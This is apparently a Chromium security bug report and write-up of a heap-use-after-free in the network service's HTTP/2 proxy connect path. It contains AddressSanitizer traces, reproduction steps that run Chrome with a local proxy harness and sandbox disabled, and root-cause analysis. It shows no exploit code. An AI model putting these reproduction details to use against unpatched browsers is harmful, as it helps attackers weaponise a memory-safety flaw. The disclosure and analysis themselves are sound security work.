#4 0x7f94e5a5b13c in net::TransportClientSocketPool::OnAvailableSocketSlot(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Group*) net/socket/transport_client_socket_pool.cc:1172:5
#5 0x7f94e5a66240 in net::TransportClientSocketPool::OnConnectJobComplete(net::TransportClientSocketPool::Group*, int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1401:5
#6 0x7f94e5a69323 in net::TransportClientSocketPool::Group::OnConnectJobComplete(int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1510:24
#7 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#8 0x7f94e59eea53 in net::SSLConnectJob::OnIOComplete(int) net/socket/ssl_connect_job.cc:187:5
#9 0x7f94e59ef198 in net::SSLConnectJob::OnConnectJobComplete(int, net::ConnectJob*) net/socket/ssl_connect_job.cc:144:3
#10 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#11 0x7f94e51e8c63 in net::HttpProxyConnectJob::OnIOComplete(int) net/http/http_proxy_connect_job.cc:400:5
#12 0x7f94e51feb21 in void base::internal::DecayedFunctorTraits<void (net::HttpProxyConnectJob::*)(int), net::HttpProxyConnectJob*>::Invoke<void (net::HttpProxyConnectJob::*)(int), net::HttpProxyConnectJob*, int>(void (net::HttpProxyConnectJob::*)(int), net::HttpProxyConnectJob*&&, int&&) base/functional/bind_internal.h:740:12
#13 0x7f94e51fe864 in void base::internal::InvokeHelper<false, base::internal::FunctorTraits<void (net::HttpProxyConnectJob::*&&)(int), net::HttpProxyConnectJob*>, void, 0ul>::MakeItSo<void (net::HttpProxyConnectJob::*)(int), std::__Cr::tuple<base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int>(void (net::HttpProxyConnectJob::*&&)(int), std::__Cr::tuple<base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, int&&) base/functional/bind_internal.h:932:12
#14 0x7f94e51fe5fc in void base::internal::Invoker<base::internal::FunctorTraits<void (net::HttpProxyConnectJob::*&&)(int), net::HttpProxyConnectJob*>, base::internal::BindState<true, true, false, void (net::HttpProxyConnectJob::*)(int), base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (int)>::RunImpl<void (net::HttpProxyConnectJob::*)(int), std::__Cr::tuple<base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, 0ul>(void (net::HttpProxyConnectJob::*&&)(int), std::__Cr::tuple<base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>&&, std::__Cr::integer_sequence<unsigned long, 0ul>, int&&) base/functional/bind_internal.h:1069:14
#15 0x7f94e51fe433 in base::internal::Invoker<base::internal::FunctorTraits<void (net::HttpProxyConnectJob::*&&)(int), net::HttpProxyConnectJob*>, base::internal::BindState<true, true, false, void (net::HttpProxyConnectJob::*)(int), base::internal::UnretainedWrapper<net::HttpProxyConnectJob, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (int)>::RunOnce(base::internal::BindStateBase*, int) base/functional/bind_internal.h:982:12
#16 0x7f94e4808b38 in base::OnceCallback<void (int)>::Run(int) && base/functional/callback.h:155:12
#17 0x7f94e5b3ffe6 in net::SpdyProxyClientSocket::OnClose(int) net/spdy/spdy_proxy_client_socket.cc:634:31
#18 0x7f94e5c25bfb in net::SpdyStream::OnClose(int) net/spdy/spdy_stream.cc:585:15
#19 0x7f94e5b7290d in net::SpdySession::DeleteStream(std::__Cr::unique_ptr<net::SpdyStream, std::__Cr::default_delete<net::SpdyStream>>, int) net/spdy/spdy_session.cc:2581:11
#20 0x7f94e5b65455 in net::SpdySession::CloseActiveStreamIterator(std::__Cr::__map_iterator<std::__Cr::__tree_iterator<std::__Cr::__value_type<unsigned int, net::SpdyStream*>, std::__Cr::__tree_node<std::__Cr::__value_type<unsigned int, net::SpdyStream*>, void*>*, long>>, int) net/spdy/spdy_session.cc:1804:3
#21 0x7f94e5b68281 in net::SpdySession::StartGoingAway(unsigned int, net::Error) net/spdy/spdy_session.cc:1362:5
#22 0x7f94e5b5ee7c in net::SpdySession::DoDrainSession(net::Error, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, bool) net/spdy/spdy_session.cc:2680:5
#23 0x7f94e5b70369 in net::SpdySession::CreateStream(net::SpdyStreamRequest const&, base::WeakPtr<net::SpdyStream>*) net/spdy/spdy_session.cc:1694:5
#24 0x7f94e5b552c1 in net::SpdySession::TryCreateStream(base::WeakPtr<net::SpdyStreamRequest> const&, base::WeakPtr<net::SpdyStream>*) net/spdy/spdy_session.cc:1663:12
#25 0x7f94e5b53e98 in net::SpdyStreamRequest::StartRequest(net::SpdyStreamType, base::WeakPtr<net::SpdySession> const&, GURL const&, bool, net::RequestPriority, net::SocketTag const&, net::NetLogWithSource const&, base::OnceCallback<void (int)>, net::NetworkTrafficAnnotationTag const&, bool, base::TimeDelta) net/spdy/spdy_session.cc:617:17
#26 0x7f94e51ee252 in net::HttpProxyConnectJob::DoSpdyProxyCreateStream() net/http/http_proxy_connect_job.cc:696:32
#27 0x7f94e51ea44d in net::HttpProxyConnectJob::DoLoop(int) net/http/http_proxy_connect_job.cc:443:14
#28 0x7f94e51e9c39 in net::HttpProxyConnectJob::ConnectInternal() net/http/http_proxy_connect_job.cc:389:10
#29 0x7f94e594b2ea in net::ConnectJob::Connect() net/socket/connect_job.cc:130:12
previously allocated by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854dbbd in operator new(unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf39fbbd) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a561ea in net::TransportClientSocketPool::GetOrCreateGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:981:18
#2 0x7f94e5a558df in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:454:11
#3 0x7f94e5a5471d in net::TransportClientSocketPool::RequestSocket(net::ClientSocketPool::GroupId const&, scoped_refptr<net::ClientSocketPool::SocketParams>, std::__Cr::optional<net::NetworkTrafficAnnotationTag> const&, net::RequestPriority, net::SocketTag const&, net::ClientSocketPool::RespectLimits, net::ClientSocketHandle*, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&, net::NetLogWithSource const&) net/socket/transport_client_socket_pool.cc:274:7
#4 0x7f94e593149b in net::ClientSocketHandle::Init(net::ClientSocketPool::GroupId const&, scoped_refptr<net::ClientSocketPool::SocketParams>, std::__Cr::optional<net::NetworkTrafficAnnotationTag> const&, net::RequestPriority, net::SocketTag const&, net::ClientSocketPool::RespectLimits, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&, net::ClientSocketPool*, net::NetLogWithSource const&) net/socket/client_socket_handle.cc:51:19
#5 0x7f94e5940a1e in net::(anonymous namespace)::InitSocketPoolHelper(url::SchemeHostPort, int, net::RequestPriority, net::HttpNetworkSession*, net::ProxyInfo const&, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::PrivacyMode, net::NetworkAnonymizationKey, net::SecureDnsPolicy, net::SocketTag const&, net::NetLogWithSource const&, int, net::ClientSocketHandle*, net::HttpNetworkSession::SocketPoolType, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&) net/socket/client_socket_pool_manager.cc:131:25
#6 0x7f94e594009d in net::InitSocketHandleForHttpRequest(url::SchemeHostPort, int, net::RequestPriority, net::HttpNetworkSession*, net::ProxyInfo const&, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::PrivacyMode, net::NetworkAnonymizationKey, net::SecureDnsPolicy, net::SocketTag const&, net::NetLogWithSource const&, net::ClientSocketHandle*, base::OnceCallback<void (int)>, base::RepeatingCallback<void (net::HttpResponseInfo const&, net::HttpAuthController*, base::OnceCallback<void ()>)> const&) net/socket/client_socket_pool_manager.cc:226:10
#7 0x7f94e52d9296 in net::HttpStreamFactory::Job::DoInitConnectionImpl() net/http/http_stream_factory_job.cc:823:10
#8 0x7f94e52d43dd in net::HttpStreamFactory::Job::DoInitConnection() net/http/http_stream_factory_job.cc:702:16
#9 0x7f94e52d289b in net::HttpStreamFactory::Job::DoLoop(int) net/http/http_stream_factory_job.cc:630:14
#10 0x7f94e52d14a5 in net::HttpStreamFactory::Job::RunLoop(int) net/http/http_stream_factory_job.cc:531:12
#11 0x7f94e52c877e in net::HttpStreamFactory::Job::StartInternal() net/http/http_stream_factory_job.cc:655:3
#12 0x7f94e52c8553 in net::HttpStreamFactory::Job::Start(net::HttpStreamRequest::StreamType) net/http/http_stream_factory_job.cc:246:3
#13 0x7f94e5307007 in net::HttpStreamFactory::JobController::DoCreateJobs() net/http/http_stream_factory_job_controller.cc:1026:16
#14 0x7f94e53027b0 in net::HttpStreamFactory::JobController::DoLoop(int) net/http/http_stream_factory_job_controller.cc:807:14
#15 0x7f94e52f4629 in net::HttpStreamFactory::JobController::RunLoop(int) net/http/http_stream_factory_job_controller.cc:765:12
#16 0x7f94e52f41aa in net::HttpStreamFactory::JobController::Start(net::HttpStreamRequest::Delegate*, net::WebSocketHandshakeStreamBase::CreateHelper*, net::NetLogWithSource const&, net::HttpStreamRequest::StreamType, net::RequestPriority) net/http/http_stream_factory_job_controller.cc:232:3
#17 0x7f94e52bec72 in net::HttpStreamFactory::RequestStreamInternal(net::HttpRequestInfo const&, net::RequestPriority, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::HttpStreamRequest::Delegate*, net::WebSocketHandshakeStreamBase::CreateHelper*, net::HttpStreamRequest::StreamType, bool, bool, bool, net::NetLogWithSource const&) net/http/http_stream_factory.cc:232:34
#18 0x7f94e52be8a7 in net::HttpStreamFactory::RequestStream(net::HttpRequestInfo const&, net::RequestPriority, std::__Cr::vector<net::SSLConfig::CertAndStatus, std::__Cr::allocator<net::SSLConfig::CertAndStatus>> const&, net::HttpStreamRequest::Delegate*, bool, bool, net::NetLogWithSource const&) net/http/http_stream_factory.cc:163:10
#19 0x7f94e517a039 in net::HttpNetworkTransaction::DoCreateStream() net/http/http_network_transaction.cc:1136:56
#20 0x7f94e516bc40 in net::HttpNetworkTransaction::DoLoop(int) net/http/http_network_transaction.cc:1009:14
#21 0x7f94e516add0 in net::HttpNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/http/http_network_transaction.cc:426:12
#22 0x7f94a0e21307 in network::ThrottlingNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) services/network/throttling/throttling_network_transaction.cc:137:34
#23 0x7f94e5920665 in net::SharedDictionaryNetworkTransaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/shared_dictionary/shared_dictionary_network_transaction.cc:114:34
#24 0x7f94e50c5eeb in net::HttpCache::Transaction::DoSendRequest() net/http/http_cache_transaction.cc:1921:28
#25 0x7f94e50af243 in net::HttpCache::Transaction::DoLoop(int) net/http/http_cache_transaction.cc:910:14
#26 0x7f94e50abf1c in net::HttpCache::Transaction::Start(net::HttpRequestInfo const*, base::OnceCallback<void (int)>, net::NetLogWithSource const&) net/http/http_cache_transaction.cc:213:12
#27 0x7f94e5d00264 in net::URLRequestHttpJob::StartTransactionInternal() net/url_request/url_request_http_job.cc:782:26
#28 0x7f94e5cff301 in net::URLRequestHttpJob::MaybeStartTransactionInternal(int) net/url_request/url_request_http_job.cc:713:5
#29 0x7f94e5cfc976 in net::URLRequestHttpJob::StartTransaction() net/url_request/url_request_http_job.cc:692:5
Thread T5 (Chrome_ChildIOT) created by T0 (chrome) here:
#0 0x555f984ee6c1 in pthread_create (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf3406c1) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94f4f32b69 in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f94f4f326c8 in base::PlatformThreadBase::CreateWithType(unsigned long, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:322:10
#3 0x7f94f4e30866 in base::Thread::StartWithOptions(base::Thread::Options) base/threading/thread.cc:228:26
#4 0x7f94cfd11705 in content::ChildProcess::ChildProcess(base::ThreadType, std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>, bool) content/child/child_process.cc:152:21
#5 0x7f94dd2a0149 in content::UtilityMain(content::MainFunctionParams) content/utility/utility_main.cc:459:16
#6 0x7f94dd5cb0ad in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:762:14
#7 0x7f94dd5ce956 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
#8 0x7f94dd5c47af in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
#9 0x7f94dd5c5625 in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
#10 0x555f9854f700 in ChromeMain chrome/app/chrome_main.cc:191:12
#11 0x555f9854ef61 in main chrome/app/chrome_exe_main_aura.cc:17:10
#12 0x7f93b39f1d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-use-after-free net/socket/transport_client_socket_pool.h:350:14 in net::TransportClientSocketPool::Group::IsEmpty() const
Shadow bytes around the buggy address:
0x7cf38a35b800: 00 07 00 06 fc 00 fc fc fc fc fc fc fc fc fc fc
0x7cf38a35b880: fc fc fc fc fc fc fc fc fa fa fa fa fa fa fa fa
0x7cf38a35b900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
0x7cf38a35b980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cf38a35ba00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x7cf38a35ba80: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
0x7cf38a35bb00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cf38a35bb80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x7cf38a35bc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
0x7cf38a35bc80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7cf38a35bd00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3183368==ADDITIONAL INFO
==3183368==Note: Please include this section with the ASan report.
Task trace:
Command line: `/proc/self/exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=network --host-resolver-rules=MAP * 0.0.0.0,EXCLUDE localhost,EXCLUDE 127.0.0.1 --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --disable-quic --ignore-certificate-errors --crashpad-handler-pid=3183342 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/home/c/r72exact/profiles/chrome_profile_01emo4h6 --change-stack-guard-on-fork=enable --shared-files=network_parent_dirs_pipe:100,v8_context_snapshot_data:101 --field-trial-handle=3,i,7858556789988091250,7114296443668740500,262144 --enable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,15791728013565851972,9863046745450112241,4 --trace-process-track-uuid=3950953896855098051`
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==3183368==END OF ADDITIONAL INFO
==3183368==ABORTING
VERSION
Chrome Version: Chromium 147.0.7703.0 and Chromium 148.0.7729.0 dev ASAN builds
Operating System: Linux x86_64 on the two hosts (Ubuntu 22.04.3 LTS class and Ubuntu 25.04 class)
REPRODUCTION CASE
Primary HTML artifact: min_poc.html
Harness script: launch_standalone.sh
Run Chrome with flags (for reliable repro, not root cause of the bugs):
--proxy-server=https://127.0.0.1:<port> --proxy-bypass-list=localhost;127.0.0.1;[::1] --ignore-certificate-errors --disable-quic --disable-domain-reliability --metrics-recording-only --disable-default-apps --disable-sync --host-resolver-rules=MAP * 0.0.0.0,EXCLUDE localhost,EXCLUDE 127.0.0.1 --headless=new
Fast Path
From this directory:
export CHROMIUM_PATH=/path/to/chrome
./launch_standalone.sh
What this does:
- starts
min_repro.pyinHELPER_ONLY=1mode - binds the local controller server on
CONTROLLER_PORT(default8872) - binds the local HTTPS H2 proxy on
PROXY_PORT(default8873) - launches Chrome directly against:
http://127.0.0.1:${CONTROLLER_PORT}/min_poc.html?autorun=1
- applies the proxy and network flags needed by this PoC
Manual Equivalent
If you want to launch Chrome yourself instead of using the wrapper:
- Start the helper:
export CONTROLLER_PORT=8872
export PROXY_PORT=8873
HELPER_ONLY=1 python3 min_repro.py
- In another shell, launch Chrome:
export CHROMIUM_PATH=/path/to/chrome
"$CHROMIUM_PATH" \
--no-sandbox \
--ignore-certificate-errors \
--disable-background-networking \
--disable-quic \
--disable-domain-reliability \
--metrics-recording-only \
--disable-default-apps \
--disable-sync \
--host-resolver-rules="MAP * 0.0.0.0,EXCLUDE localhost,EXCLUDE 127.0.0.1" \
--proxy-server="https://127.0.0.1:${PROXY_PORT}" \
--proxy-bypass-list="localhost;127.0.0.1;[::1]" \
"http://127.0.0.1:${CONTROLLER_PORT}/min_poc.html?autorun=1"
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: Network Service utility-process crash
Crash State: Representative callsite family net::TransportClientSocketPool::Group::IsEmpty() const; sanitizer log example asan_heap_uaf_exact.log
ASAN type: heap-use-after-free
CREDIT INFORMATION
Reporter credit: heapracer
Context
This is a heap-use-after-free in Chrome's HTTPS HTTP/2 proxy authentication flow. The affected path runs through net/socket/transport_client_socket_pool, net/http/http_proxy_connect_job and net/spdy/spdy_proxy_client_socket, and the recorded crashing family is net::TransportClientSocketPool::Group::IsEmpty() const.
In normal operation the transport client socket pool keeps a Group object per pool key (scheme, host, port and related parameters). A group owns the pending socket requests and the connect jobs for that key. When a request needs a socket, the pool either finds the group or creates one, and when the group becomes empty and idle it is removed and destroyed. The proxy connect job drives the tunnel setup, including the proxy authentication challenge, and for an HTTPS proxy carrying HTTP/2 it creates a SPDY stream through SpdyProxyClientSocket.
The bug is a lifetime problem in that interaction: a socket-pool group, or closely related state, is destroyed or invalidated while another path still holds a reference and later dereferences it. The report describes this as the most likely root cause rather than a confirmed one.
Setup
- Target: Google Chrome, reported through the Chrome VRP.
- Weakness class: use after free, confirmed by AddressSanitizer as a heap-use-after-free.
- Versions: Chromium 147.0.7703.0 and Chromium 148.0.7729.0 dev ASAN builds.
- Operating systems: Linux x86_64 on two hosts, described as Ubuntu 22.04.3 LTS class and Ubuntu 25.04 class.
- Crash type: network service utility-process crash.
- Build detail: the ASAN report records
MiraclePtr Status: NOT PROTECTED, with noraw_ptr<T>access to the region detected before the crash, and states the crash is still exploitable with MiraclePtr.
The reproduction uses two local components: a controller HTTP server serving the PoC page, and a local HTTPS HTTP/2 proxy. The primary HTML artifact is min_poc.html and the harness script is launch_standalone.sh; the helper is min_repro.py.
Finding it
The researcher arrived at a reproducible ASAN crash in the network service. The sanitizer report shows a read of size 8 on thread T5 (Chrome_ChildIOT) at net::TransportClientSocketPool::Group::IsEmpty() const, called from RequestSocketInternal while a request is being dispatched through the socket pool.
The allocation and free stacks tell the story. The 576-byte region was allocated when the group was created by GetOrCreateGroup during RequestSocketInternal. It was freed later on the same thread by TransportClientSocketPool::Group::~Group(), reached through RemoveGroup from OnAvailableSocketSlot after OnConnectJobComplete. The free path runs through the proxy connect job: HttpProxyConnectJob::OnIOComplete completes an SSL connect job, which notifies its delegate of completion, which calls OnConnectJobComplete on the group, which calls OnAvailableSocketSlot, which removes and destroys the group.
The use happens after that, when a new request enters RequestSocketInternal and calls IsEmpty() on the group pointer it still holds. In other words, the group was torn down as part of finishing a proxy connection while a later request path still expected it to be alive.
Exploitation
Step 1: start the helper servers
The fast path runs the harness from the report directory:
export CHROMIUM_PATH=/path/to/chrome
./launch_standalone.sh
This starts min_repro.py in HELPER_ONLY=1 mode, binds the controller server on CONTROLLER_PORT (default 8872) and the local HTTPS H2 proxy on PROXY_PORT (default 8873), then launches Chrome against http://[redacted]:${CONTROLLER_PORT}/min_poc.html?autorun=1 with the proxy and network flags the PoC needs.
Step 2: or run the helper manually
export CONTROLLER_PORT=8872
export PROXY_PORT=8873
HELPER_ONLY=1 python3 min_repro.py
The controller serves the PoC page; the proxy terminates TLS and speaks HTTP/2 to Chrome, which is what puts the request on the SPDY proxy path.
Step 3: launch Chrome against the proxy
export CHROMIUM_PATH=/path/to/chrome
"$CHROMIUM_PATH" \
--no-sandbox \
--ignore-certificate-errors \
--disable-background-networking \
--disable-quic \
--disable-domain-reliability \
--metrics-recording-only \
--disable-default-apps \
--disable-sync \
--host-resolver-rules="MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted]" \
--proxy-server="https://[redacted]:${PROXY_PORT}" \
--proxy-bypass-list="localhost;[redacted];[::1]" \
"http://[redacted]:${CONTROLLER_PORT}/min_poc.html?autorun=1"
Key flags:
--proxy-server=https://[redacted]:${PROXY_PORT}forces all traffic through the local HTTPS proxy, which is the component that drives the HTTP/2 proxy connect job.--proxy-bypass-listkeeps loopback traffic (the controller page itself) out of the proxy.--host-resolver-rulesmaps every other host to[redacted]while excluding loopback, so no real external resolution happens.--ignore-certificate-errorsaccepts the proxy's self-signed certificate.--disable-quickeeps the connection on the TCP/HTTP path the bug lives in.--no-sandboxand the background-networking and sync flags are for a clean, deterministic run.
The report also gives a headless variant of the flag set for reliable reproduction:
--proxy-server=https://[redacted]:<port> --proxy-bypass-list=localhost;[redacted];[::1] --ignore-certificate-errors --disable-quic --disable-domain-reliability --metrics-recording-only --disable-default-apps --disable-sync --host-resolver-rules=MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted] --headless=new
Step 4: read the crash
The sanitizer output is the evidence. The use site:
==3183368==ERROR: AddressSanitizer: heap-use-after-free on address 0x7cf38a35bad0 at pc 0x7f94e5a76274 bp 0x7b937c7ad4a0 sp 0x7b937c7ad498
READ of size 8 at 0x7cf38a35bad0 thread T5 (Chrome_ChildIOT)
#0 0x7f94e5a76273 in net::TransportClientSocketPool::Group::IsEmpty() const net/socket/transport_client_socket_pool.h:350:14
#1 0x7f94e5a55d89 in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:495:14
The free site:
0x7cf38a35bad0 is located 336 bytes inside of 576-byte region [0x7cf38a35b980,0x7cf38a35bbc0)
freed by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854e7c2 in operator delete(void*, unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf3a07c2) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a691b6 in net::TransportClientSocketPool::Group::~Group() net/socket/transport_client_socket_pool.cc:1499:44
#2 0x7f94e5a5c8fd in net::TransportClientSocketPool::RemoveGroup(std::__Cr::__map_iterator<std::__Cr::__tree_iterator<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, std::__Cr::__tree_node<std::__Cr::__value_type<net::ClientSocketPool::GroupId, base::raw_ptr<net::TransportClientSocketPool::Group, (partition_alloc::internal::RawPtrTraits)1>>, void*>*, long>>) net/socket/transport_client_socket_pool.cc:995:3
#3 0x7f94e5a5749a in net::TransportClientSocketPool::RemoveGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:990:3
#4 0x7f94e5a5b13c in net::TransportClientSocketPool::OnAvailableSocketSlot(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Group*) net/socket/transport_client_socket_pool.cc:1172:5
#5 0x7f94e5a66240 in net::TransportClientSocketPool::OnConnectJobComplete(net::TransportClientSocketPool::Group*, int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1401:5
#6 0x7f94e5a69323 in net::TransportClientSocketPool::Group::OnConnectJobComplete(int, net::ConnectJob*) net/socket/transport_client_socket_pool.cc:1510:24
#7 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#8 0x7f94e59eea53 in net::SSLConnectJob::OnIOComplete(int) net/socket/ssl_connect_job.cc:187:5
#9 0x7f94e59ef198 in net::SSLConnectJob::OnConnectJobComplete(int, net::ConnectJob*) net/socket/ssl_connect_job.cc:144:3
#10 0x7f94e594be00 in net::ConnectJob::NotifyDelegateOfCompletion(int) net/socket/connect_job.cc:181:13
#11 0x7f94e51e8c63 in net::HttpProxyConnectJob::OnIOComplete(int) net/http/http_proxy_connect_job.cc:400:5
The allocation site:
previously allocated by thread T5 (Chrome_ChildIOT) here:
#0 0x555f9854dbbd in operator new(unsigned long) (/mnt/lvm_data/chromium/src/out/asan_dbg_symbols/chrome+0xf39fbbd) (BuildId: 3afd3fb7d064a1b6)
#1 0x7f94e5a561ea in net::TransportClientSocketPool::GetOrCreateGroup(net::ClientSocketPool::GroupId const&) net/socket/transport_client_socket_pool.cc:981:18
#2 0x7f94e5a558df in net::TransportClientSocketPool::RequestSocketInternal(net::ClientSocketPool::GroupId const&, net::TransportClientSocketPool::Request const&, base::OnceCallback<void ()>) net/socket/transport_client_socket_pool.cc:454:11
The summary line confirms the family:
SUMMARY: AddressSanitizer: heap-use-after-free net/socket/transport_client_socket_pool.h:350:14 in net::TransportClientSocketPool::Group::IsEmpty() const
The report also records the command line of the crashing network service process, which shows the utility process type and the resolver and certificate flags used during the run:
/proc/self/exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=network --host-resolver-rules=MAP * [redacted],EXCLUDE localhost,EXCLUDE [redacted] --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --disable-quic --ignore-certificate-errors --crashpad-handler-pid=3183342 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/home/c/r72exact/profiles/chrome_profile_01emo4h6 --change-stack-guard-on-fork=enable --shared-files=network_parent_dirs_pipe:100,v8_context_snapshot_data:101 --field-trial-handle=3,i,7858556789988091250,7114296443668740500,262144 --enable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,15791728013565851972,9863046745450112241,4 --trace-process-track-uuid=3950953896855098051
Root cause
The most likely root cause, as the report frames it, is a lifetime bug during proxy-auth challenge handling and connection teardown. A socket-pool group, or closely related state, is destroyed or invalidated while another path still retains a reference and later dereferences it.
The free stack shows the group being removed from the pool inside OnAvailableSocketSlot, which is reached when a connect job completes. The completion is driven by the proxy connect job: HttpProxyConnectJob::OnIOComplete completes an SSL connect job, which notifies its delegate, which calls Group::OnConnectJobComplete, which calls TransportClientSocketPool::OnConnectJobComplete, which calls OnAvailableSocketSlot, which calls RemoveGroup and destroys the group. The use stack shows a later RequestSocketInternal calling IsEmpty() on a group pointer that was not refreshed after that removal.
Because the report describes the root cause as the most likely explanation, the exact ordering of the proxy-auth challenge and the teardown is not pinned down further. What is clear is that the group is freed on the same thread that later reads it, so the bug is a straightforward lifetime ordering problem rather than a cross-thread race.
On defences: the ASAN report records MiraclePtr Status: NOT PROTECTED, no raw_ptr<T> access to the region before the crash, and states the crash is still exploitable with MiraclePtr. So the existing pointer-hardening did not cover this access.
Impact
The crash is in the network service utility process, so the immediate effect is a network service crash. The report does not describe a demonstrated path from the use-after-free to code execution; it records the sanitizer finding and the crash state. The report does state that the crash is still exploitable with MiraclePtr. The conditions are those of the reproduction: an HTTPS HTTP/2 proxy in the request path, with the proxy-auth challenge and connection teardown sequence that triggers the group removal while a request still holds the group pointer.
Fix
The report does not describe a fix or a patch. What it establishes is the failing lifetime: the group is destroyed in OnAvailableSocketSlot via RemoveGroup while a later RequestSocketInternal still dereferences it. A fix would need to keep the group alive, or revalidate the pointer, across the proxy connect job completion and the subsequent request dispatch on that path.
Variants to test
